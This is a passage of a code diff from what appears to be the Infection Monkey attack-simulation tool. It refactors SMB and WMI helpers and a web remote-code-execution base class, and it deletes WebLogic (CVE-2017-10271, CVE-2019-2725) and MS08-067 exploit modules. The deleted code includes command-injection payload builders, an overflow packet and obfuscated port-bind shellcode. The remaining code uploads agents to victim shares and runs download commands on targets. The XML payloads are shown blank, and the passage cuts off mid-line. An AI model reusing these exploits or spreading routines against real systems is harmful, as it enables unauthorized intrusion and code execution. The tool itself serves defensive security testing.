range(len(resp)): share_name = resp[i]["shi2_netname"].strip("\0 ") @@ -103,14 +101,18 @@ class SmbTools(object): share_info = {"share_name": share_name, "share_path": share_path} - if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path) :], share_info),) + if str(dst_path).lower().startswith(share_path.lower()): + high_priority_shares += ( + (ntpath.sep + str(dst_path)[len(share_path) :], share_info), + ) low_priority_shares += ((ntpath.sep + file_name, share_info),) shares = high_priority_shares + low_priority_shares file_uploaded = False + remote_full_path = None + for remote_path, share in shares: share_name = share["share_name"] share_path = share["share_path"] @@ -125,8 +127,8 @@ class SmbTools(object): try: smb.connectTree(share_name) except Exception as exc: - logger.debug( - "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc + logger.error( + f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' ) continue @@ -140,34 +142,16 @@ class SmbTools(object): remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) - # check if file is found on destination - if config.skip_exploit_if_file_exist: - try: - file_info = smb.listPath(share_name, remote_path) - if file_info: - if src_file_size == file_info[0].get_filesize(): - logger.debug("Remote monkey file is same as source, skipping copy") - return remote_full_path - - logger.debug( - "Remote monkey file is found but different, moving along with " "attack" - ) - except Exception: - pass # file isn't found on remote victim, moving on - try: - with monkeyfs.open(src_path, "rb") as source_file: - # make sure of the timeout - smb.setTimeout(timeout) - smb.putFile(share_name, remote_path, source_file.read) + smb.setTimeout(timeout) + smb.putFile(share_name, remote_path, agent_file.read) file_uploaded = True T1105Telem( ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path ).send() logger.info( - "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, + "Copied monkey agent to remote share '%s' [%s] on victim %r", share_name, share_path, host, @@ -175,7 +159,7 @@ class SmbTools(object): break except Exception as exc: - logger.debug( + logger.error( "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc ) T1105Telem( @@ -195,21 +179,15 @@ class SmbTools(object): if not file_uploaded: logger.debug( - "Couldn't find a writable share for exploiting victim %r with " - "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" - "SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), + f"Couldn't find a writable share for exploiting victim {host} with " + f'user "{username}"' ) return None return remote_full_path @staticmethod - def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeout=60): + def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeout=30): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) except Exception as exc: @@ -233,16 +211,7 @@ class SmbTools(object): try: smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: - logger.debug( - "Error while logging into %r using user: %s, password (SHA-512): '%s', " - "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), - exc, - ) + logger.error(f'Error while logging into {host} using user "{username}": {exc}') return None, dialect smb.setTimeout(timeout) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 078d37daa..64f48a53b 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -1,13 +1,20 @@ import logging +import threading +from functools import wraps from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL logger = logging.getLogger(__name__) +# Due to the limitations of impacket library we should only run one WmiConnection at a time +# Use impacket_user decorator to ensure that no race conditions are happening +# See comments in https://github.com/guardicore/monkey/pull/1766 +lock = threading.Lock() + + class AccessDeniedException(Exception): def __init__(self, host, username, password, domain): super(AccessDeniedException, self).__init__( @@ -17,6 +24,17 @@ class AccessDeniedException(Exception): class WmiTools(object): + @staticmethod + def impacket_user(func): + @wraps(func) + def _wrapper(*args, **kwarg): + logger.debug("Waiting for impacket lock") + with lock: + logger.debug("Acquired impacket lock") + return func(*args, **kwarg) + + return _wrapper + class WmiConnection(object): def __init__(self): self._dcom = None @@ -30,6 +48,7 @@ class WmiTools(object): if not domain: domain = host.ip_addr + # Impacket has a hard-coded timeout of 30 seconds dcom = DCOMConnection( host.ip_addr, username=username, @@ -45,9 +64,12 @@ class WmiTools(object): wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login ) except Exception as exc: - dcom.disconnect() + try: + dcom.disconnect() + except KeyError: + logger.exception("Disconnecting the DCOMConnection failed") - if "rpc_s_access_denied" == exc: + if "rpc_s_access_denied" == exc.error_string: raise AccessDeniedException(host, username, password, domain) raise @@ -75,10 +97,13 @@ class WmiTools(object): @staticmethod def dcom_wrap(func): + @wraps(func) def _wrapper(*args, **kwarg): try: + logger.debug("Running function from dcom_wrap") return func(*args, **kwarg) finally: + logger.debug("Running dcom cleanup") WmiTools.dcom_cleanup() return _wrapper @@ -88,7 +113,7 @@ class WmiTools(object): for port_map in list(DCOMConnection.PORTMAPS.keys()): del DCOMConnection.PORTMAPS[port_map] for oid_set in list(DCOMConnection.OID_SET.keys()): - del DCOMConnection.OID_SET[port_map] + del DCOMConnection.OID_SET[oid_set] DCOMConnection.OID_SET = {} DCOMConnection.PORTMAPS = {} @@ -103,47 +128,3 @@ class WmiTools(object): assert wmi_connection.connected, "WmiConnection isn't connected" return wmi_connection._iWbemServices.GetObject(object_name)[0] - - @staticmethod - def list_object(wmi_connection, object_name, fields=None, where=None): - assert isinstance(wmi_connection, WmiTools.WmiConnection) - assert wmi_connection.connected, "WmiConnection isn't connected" - - if fields: - fields_query = ",".join(fields) - else: - fields_query = "*" - - wql_query = "SELECT %s FROM %s" % (fields_query, object_name) - - if where: - wql_query += " WHERE %s" % (where,) - - logger.debug("Execution WQL query: %r", wql_query) - - iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) - - query = [] - try: - while True: - try: - next_item = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] - record = next_item.getProperties() - - if not fields: - fields = list(record.keys()) - - query_record = {} - for key in fields: - query_record[key] = record[key]["value"] - - query.append(query_record) - except DCERPCSessionError as exc: - if 1 == exc.error_code: - break - - raise - finally: - iEnumWbemClassObject.RemRelease() - - return query diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 715a94b1c..4f32a2f3f 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -1,13 +1,10 @@ import logging -import re from abc import abstractmethod from posixpath import join from typing import List, Tuple from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus -from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import ( BITSADMIN_CMDLINE_HTTP, @@ -15,8 +12,6 @@ from infection_monkey.model import ( CHMOD_MONKEY, DOWNLOAD_TIMEOUT, DROPPER_ARG, - GET_ARCH_LINUX, - GET_ARCH_WINDOWS, ID_STRING, MONKEY_ARG, POWERSHELL_HTTP_UPLOAD, @@ -28,34 +23,22 @@ from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) # Command used to check if monkeys already exists -LOOK_FOR_FILE = "ls %s" POWERSHELL_NOT_FOUND = "powershell is not recognized" class WebRCE(HostExploiter): - def __init__(self, host, monkey_target_paths=None): + def __init__(self, monkey_target_paths=None): """ - :param host: Host that we'll attack :param monkey_target_paths: Where to upload the monkey at the target host system. - Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } + Dict in format {'linux': '/tmp/monkey.sh', 'win64':... } """ - super(WebRCE, self).__init__(host) - if monkey_target_paths: - self.monkey_target_paths = monkey_target_paths - else: - self.monkey_target_paths = { - "linux": self._config.dropper_target_path_linux, - "win32": self._config.dropper_target_path_win_32, - "win64": self._config.dropper_target_path_win_64, - } - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] - self.skip_exist = self._config.skip_exploit_if_file_exist + super(WebRCE, self).__init__() + self.monkey_target_paths = monkey_target_paths self.vulnerable_urls = [] - self.target_url = None - self.vulnerable_port = None def get_exploit_config(self): """ @@ -83,10 +66,6 @@ class WebRCE(HostExploiter): # vulnerable. exploit_config["stop_checking_urls"] = False - # blind_exploit: If true we won't check if file exist and won't try to get the - # architecture of target. - exploit_config["blind_exploit"] = False - return exploit_config def _exploit_host(self): @@ -106,27 +85,6 @@ class WebRCE(HostExploiter): ) self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"]) - if not self.are_vulnerable_urls_sufficient(): - return False - - self.target_url = self.get_target_url() - self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url) - - # Skip if monkey already exists and this option is given - if ( - not exploit_config["blind_exploit"] - and self.skip_exist - and self.check_remote_files(self.target_url) - ): - logger.info( - "Host %s was already infected under the current configuration, done" % self.host - ) - return True - - # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()): - return False - # Upload the right monkey to target data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"]) @@ -148,6 +106,15 @@ class WebRCE(HostExploiter): return True + def pre_exploit(self): + if not self.monkey_target_paths: + self.monkey_target_paths = { + "linux": self.options["dropper_target_path_linux"], + "windows": self.options["dropper_target_path_win_64"], + } + self.HTTP = [str(port) for port in self.options["http_ports"]] + super().pre_exploit() + @abstractmethod def exploit(self, url, command): """ @@ -260,7 +227,7 @@ class WebRCE(HostExploiter): is found (bool) :return: None (we append to class variable vulnerable_urls) """ - for url in urls: + for url in interruptible_iter(urls, self.interrupt): if self.check_if_exploitable(url): self.add_vuln_url(url) self.vulnerable_urls.append(url) @@ -269,65 +236,6 @@ class WebRCE(HostExploiter): if not self.vulnerable_urls: logger.info("No vulnerable urls found, skipping.") - def get_host_arch(self, url): - """ - :param url: Url for exploiter to use - :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... - """ - if "linux" in self.host.os["type"]: - resp = self.exploit(url, GET_ARCH_LINUX) - if resp: - # Pulls architecture string - arch = re.search(r"(?<=Architecture:)\s+(\w+)", resp) - try: - arch = arch.group(1) - except AttributeError: - logger.error("Looked for linux architecture but could not find it") - return False - if arch: - return arch - else: - logger.info("Could not pull machine architecture string from command's output") - return False - else: - return False - else: - resp = self.exploit(url, GET_ARCH_WINDOWS) - if resp: - if "64-bit" in resp: - return WIN_ARCH_64 - else: - return WIN_ARCH_32 - else: - return False - - def check_remote_monkey_file(self, url, path): - command = LOOK_FOR_FILE % path - resp = self.exploit(url, command) - if "No such file" in resp: - return False - else: - logger.info( - "Host %s was already infected under the current configuration, done" - % str(self.host) - ) - return True - - def check_remote_files(self, url): - """ - :param url: Url for exploiter to use - :return: True if at least one file is found, False otherwise - """ - paths = [] - if "linux" in self.host.os["type"]: - paths.append(self.monkey_target_paths["linux"]) - else: - paths.extend([self.monkey_target_paths["win32"], self.monkey_target_paths["win64"]]) - for path in paths: - if self.check_remote_monkey_file(url, path): - return True - return False - # Wrapped functions: def get_ports_w(self, ports, names): """ @@ -344,15 +252,6 @@ class WebRCE(HostExploiter): else: return ports - def set_host_arch(self, url): - arch = self.get_host_arch(url) - if not arch: - logger.error("Couldn't get host machine's architecture") - return False - else: - self.host.os["machine"] = arch - return True - def run_backup_commands(self, resp, url, dest_path, http_path): """ If you need multiple commands for the same os you can override this method to add backup @@ -369,7 +268,9 @@ class WebRCE(HostExploiter): "monkey_path": dest_path, "http_path": http_path, } - T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() + self.telemetry_messenger.send_telemetry( + T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING) + ) resp = self.exploit(url, backup_command) return resp @@ -385,11 +286,12 @@ class WebRCE(HostExploiter): if not self.host.os["type"]: logger.error("Unknown target's os type. Skipping.") return False - paths = self.get_monkey_paths() - if not paths: - return False + + dropper_target_path = self.monkey_target_paths[self.host.os["type"]] # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, dropper_target_path, self.agent_repository + ) if not http_path: logger.debug("Exploiter failed, http transfer creation failed.") return False @@ -397,10 +299,10 @@ class WebRCE(HostExploiter): # Choose command: if not commands: commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} - command = self.get_command(paths["dest_path"], http_path, commands) + command = self.get_command(dropper_target_path, http_path, commands) resp = self.exploit(url, command) self.add_executed_cmd(command) - resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path) + resp = self.run_backup_commands(resp, url, dropper_target_path, http_path) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -409,7 +311,7 @@ class WebRCE(HostExploiter): if resp is False: return resp else: - return {"response": resp, "path": paths["dest_path"]} + return {"response": resp, "path": dropper_target_path} def change_permissions(self, url, path, command=None): """ @@ -427,10 +329,10 @@ class WebRCE(HostExploiter): command = CHMOD_MONKEY % {"monkey_path": path} try: resp = self.exploit(url, command) - T1222Telem(ScanStatus.USED, command, self.host).send() + self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.USED, command, self.host)) except Exception as e: logger.error("Something went wrong while trying to change permission: %s" % e) - T1222Telem(ScanStatus.SCANNED, "", self.host).send() + self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.SCANNED, "", self.host)) return False # If exploiter returns True / False if isinstance(resp, bool): @@ -463,18 +365,14 @@ class WebRCE(HostExploiter): default_path = self.get_default_dropper_path() if default_path is False: return False - monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path - ) + monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, default_path) command = RUN_MONKEY % { "monkey_path": path, "monkey_type": DROPPER_ARG, "parameters": monkey_cmd, } else: - monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, self.vulnerable_port - ) + monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1) command = RUN_MONKEY % { "monkey_path": path, "monkey_type": MONKEY_ARG, @@ -503,54 +401,6 @@ class WebRCE(HostExploiter): self.add_executed_cmd(command) return resp - def get_monkey_upload_path(self, url_to_monkey): - """ - Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths). - :param url_to_monkey: Hosted monkey's url. egz : - http://localserver:9999/monkey/windows-32.exe - :return: Corresponding monkey path from self.monkey_target_paths - """ - if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): - logger.error( - "Can't get destination path because source path %s is invalid.", url_to_monkey - ) - return False - try: - if "linux" in url_to_monkey: - return self.monkey_target_paths["linux"] - elif "windows-32" in url_to_monkey: - return self.monkey_target_paths["win32"] - elif "windows-64" in url_to_monkey: - return self.monkey_target_paths["win64"] - else: - logger.error( - "Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen." - ) - return False - except KeyError: - logger.error( - 'Unknown key was found. Please use "linux", "win32" and "win64" keys to ' - "initialize " - "custom dict of monkey's destination paths" - ) - return False - - def get_monkey_paths(self): - """ - Gets local (used by server) and destination (where to download) paths. - :return: dict of source and destination paths - """ - src_path = get_target_monkey(self.host) - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False - # Determine which destination path to use - dest_path = self.get_monkey_upload_path(src_path) - if not dest_path: - return False - return {"src_path": src_path, "dest_path": dest_path} - def get_default_dropper_path(self): """ Gets default dropper path for the host. @@ -563,31 +413,15 @@ class WebRCE(HostExploiter): logger.error("Target's OS was either unidentified or not supported. Aborting") return False if self.host.os["type"] == "linux": - return self._config.dropper_target_path_linux + return self.options["dropper_target_path_linux"] if self.host.os["type"] == "windows": - try: - if self.host.os["machine"] == WIN_ARCH_64: - return self._config.dropper_target_path_win_64 - except KeyError: - logger.debug("Target's machine type was not set. Using win-32 dropper path.") - return self._config.dropper_target_path_win_32 + return self.options["dropper_target_path_win_64"] def get_target_url(self): """ This method allows "configuring" the way in which a vulnerable URL is picked. If the same URL should be used - always return the first. - Otherwise - implement your own (e.g. Drupal must use a new URI each time). + Otherwise - implement your own. :return: a vulnerable URL """ return self.vulnerable_urls[0] - - def are_vulnerable_urls_sufficient(self): - """ - Determine whether the number of vulnerable URLs is sufficient in order to perform the - full attack. - Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a - vulnerable URL is for - single use, thus we need a couple of them. - :return: Whether or not a full attack can be performed using the available vulnerable URLs. - """ - return len(self.vulnerable_urls) > 0 diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py deleted file mode 100644 index d310833db..000000000 --- a/monkey/infection_monkey/exploit/weblogic.py +++ /dev/null @@ -1,338 +0,0 @@ -import copy -import logging -import threading -import time -from http.server import BaseHTTPRequestHandler, HTTPServer - -from requests import exceptions, post - -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.network.info import get_free_tcp_port -from infection_monkey.network.tools import get_interface_to_target - -logger = logging.getLogger(__name__) -# How long server waits for get request in seconds -SERVER_TIMEOUT = 4 -# How long should we wait after each request in seconds -REQUEST_DELAY = 0.1 -# How long to wait for a sign(request from host) that server is vulnerable. In seconds -REQUEST_TIMEOUT = 5 -# How long to wait for response in exploitation. In seconds -EXECUTION_TIMEOUT = 15 -# Malicious requests' headers: -HEADERS = { - "Content-Type": "text/xml;charset=UTF-8", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36", -} - - -class WebLogicExploiter(HostExploiter): - _TARGET_OS_TYPE = ["linux", "windows"] - _EXPLOITED_SERVICE = "Weblogic" - - def _exploit_host(self): - exploiters = [WebLogic20192725, WebLogic201710271] - for exploiter in exploiters: - if exploiter(self.host).exploit_host(): - return True - - -# Exploit based of: -# Kevin Kirsche (d3c3pt10n) -# https://github.com/kkirsche/CVE-2017-10271 -# and -# Luffin from Github -# https://github.com/Luffin/CVE-2017-10271 -# CVE: CVE-2017-10271 -class WebLogic201710271(WebRCE): - URLS = [ - "/wls-wsat/CoordinatorPortType", - "/wls-wsat/CoordinatorPortType11", - "/wls-wsat/ParticipantPortType", - "/wls-wsat/ParticipantPortType11", - "/wls-wsat/RegistrationPortTypeRPC", - "/wls-wsat/RegistrationPortTypeRPC11", - "/wls-wsat/RegistrationRequesterPortType", - "/wls-wsat/RegistrationRequesterPortType11", - ] - - _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE - _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE - - def __init__(self, host): - super(WebLogic201710271, self).__init__( - host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"} - ) - - def get_exploit_config(self): - exploit_config = super(WebLogic201710271, self).get_exploit_config() - exploit_config["blind_exploit"] = True - exploit_config["stop_checking_urls"] = True - exploit_config["url_extensions"] = WebLogic201710271.URLS - return exploit_config - - def exploit(self, url, command): - if "linux" in self.host.os["type"]: - payload = self.get_exploit_payload( - "/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null" - ) - else: - payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL") - try: - post( # noqa: DUO123 - url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False - ) - except Exception as e: - logger.error("Connection error: %s" % e) - return False - - return True - - def add_vulnerable_urls(self, urls, stop_checking=False): - """ - Overrides parent method to use listener server - """ - # Server might get response faster than it starts listening to it, we need a lock - httpd, lock = self._start_http_server() - exploitable = False - - for url in urls: - if self.check_if_exploitable_weblogic(url, httpd): - exploitable = True - break - - if not exploitable and httpd.get_requests < 1: - # Wait for responses - time.sleep(REQUEST_TIMEOUT) - - if httpd.get_requests > 0: - # Add all urls because we don't know which one is vulnerable - self.vulnerable_urls.extend(urls) - self.exploit_info["vulnerable_urls"] = self.vulnerable_urls - else: - logger.info("No vulnerable urls found, skipping.") - - self._stop_http_server(httpd, lock) - - def check_if_exploitable_weblogic(self, url, httpd): - payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) - try: - post( # noqa: DUO123 - url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False - ) - except exceptions.ReadTimeout: - # Our request will not get response thus we get ReadTimeout error - pass - except Exception as e: - logger.error("Something went wrong: %s" % e) - return httpd.get_requests > 0 - - def _start_http_server(self): - """ - Starts custom http server that waits for GET requests - :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock) - """ - lock = threading.Lock() - local_port = get_free_tcp_port() - local_ip = get_interface_to_target(self.host.ip_addr) - httpd = self.IndicationHTTPServer(local_ip, local_port, lock) - lock.acquire() - httpd.start() - lock.acquire() - return httpd, lock - - @staticmethod - def _stop_http_server(httpd, lock): - lock.release() - httpd.join(SERVER_TIMEOUT) - httpd.stop() - - @staticmethod - def get_exploit_payload(cmd_base, cmd_opt, command): - """ - Formats the payload used in exploiting weblogic servers - :param cmd_base: What command prompt to use eg. cmd - :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) - :param command: command itself - :return: Formatted payload - """ - empty_payload = """ - - - - - - - {cmd_base} - - - {cmd_opt} - - - {cmd_payload} - - - - - - - - - - """ - payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) - return payload - - @staticmethod - def get_test_payload(ip, port): - """ - Gets payload used for testing whether weblogic server is vulnerable - :param ip: Server's IP - :param port: Server's port - :return: Formatted payload - """ - generic_check_payload = """ - - - - - http://{host}:{port} - - - - - - - - - - """ - payload = generic_check_payload.format(host=ip, port=port) - return payload - - class IndicationHTTPServer(threading.Thread): - """ - Http server built to wait for GET requests. Because oracle web logic vuln is blind, - we determine if we can exploit by either getting a GET request from host or not. - """ - - def __init__(self, local_ip, local_port, lock, max_requests=1): - self.local_ip = local_ip - self.local_port = local_port - self.get_requests = 0 - self.max_requests = max_requests - self._stopped = False - self.lock = lock - threading.Thread.__init__(self) - self.daemon = True - - def run(self): - class S(BaseHTTPRequestHandler): - @staticmethod - def do_GET(): - logger.info("Server received a request from vulnerable machine") - self.get_requests += 1 - - logger.info("Server waiting for exploited machine request...") - httpd = HTTPServer((self.local_ip, self.local_port), S) - httpd.daemon = True - self.lock.release() - while not self._stopped and self.get_requests < self.max_requests: - httpd.handle_request() - - self._stopped = True - return httpd - - def stop(self): - self._stopped = True - - -# Exploit based of: -# Andres Rodriguez (acamro) -# https://github.com/rapid7/metasploit-framework/pull/11780 -class WebLogic20192725(WebRCE): - URLS = ["_async/AsyncResponseServiceHttps"] - DELAY_BEFORE_EXPLOITING_SECONDS = 5 - - _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE - _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE - - def __init__(self, host): - super(WebLogic20192725, self).__init__(host) - - def get_exploit_config(self): - exploit_config = super(WebLogic20192725, self).get_exploit_config() - exploit_config["url_extensions"] = WebLogic20192725.URLS - exploit_config["blind_exploit"] = True - exploit_config["dropper"] = True - return exploit_config - - def execute_remote_monkey(self, url, path, dropper=False): - # Without delay exploiter tries to launch monkey file that is still finishing up after - # downloading. - time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS) - super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper) - - def exploit(self, url, command): - if "linux" in self.host.os["type"]: - payload = self.get_exploit_payload("/bin/sh", "-c", command) - else: - payload = self.get_exploit_payload("cmd", "/c", command) - try: - resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT) - return resp - except Exception as e: - logger.error("Connection error: %s" % e) - return False - - def check_if_exploitable(self, url): - headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""}) - res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) - if res.status_code == 500 and "env:Client" in res.text: - return True - else: - return False - - @staticmethod - def get_exploit_payload(cmd_base, cmd_opt, command): - """ - Formats the payload used to exploit weblogic servers - :param cmd_base: What command prompt to use eg. cmd - :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) - :param command: command itself - :return: Formatted payload - """ - empty_payload = """ - - - xx - xx - - - - - {cmd_base} - - - {cmd_opt} - - - {cmd_payload} - - - - - - - - - - """ - payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) - return payload diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py deleted file mode 100644 index cff31e083..000000000 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ /dev/null @@ -1,323 +0,0 @@ -#!/usr/bin/env python -############################################################################# -# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) -# www.hackingspirits.com -# www.coffeeandsecurity.com -# Email: d3basis.m0hanty @ gmail.com -############################################################################# - -import socket -import time -from enum import IntEnum -from logging import getLogger - -from impacket import uuid -from impacket.dcerpc.v5 import transport - -from common.utils.shellcode_obfuscator import clarify -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey -from infection_monkey.exploit.tools.smb_tools import SmbTools -from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from infection_monkey.network.smbfinger import SMBFinger -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.random_password_generator import get_random_password - -logger = getLogger(__name__) - -# Portbind shellcode from metasploit; Binds port to TCP port 4444 -OBFUSCATED_SHELLCODE = ( - b"4\xf6kPF\xc5\x9bI,\xab\x1d" - b"\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J" - b"\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01'\xa8\x03\x90\x01\xec\x13" - b"\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq" - b"\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8" - b"\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J" - b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-' -) - -SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode() - -XP_PACKET = ( - "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" - "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" - "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" - "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" - "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" - "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" - "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" - "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" - "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" - "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" - "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00" -) - -# Payload for Windows 2000 target -PAYLOAD_2000 = "\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" -PAYLOAD_2000 += "\x41\x41\x41\x41\x41\x41\x41\x41" -PAYLOAD_2000 += "\x41\x41\x41\x41\x41\x41\x41\x41" -PAYLOAD_2000 += "\x41\x41" -PAYLOAD_2000 += 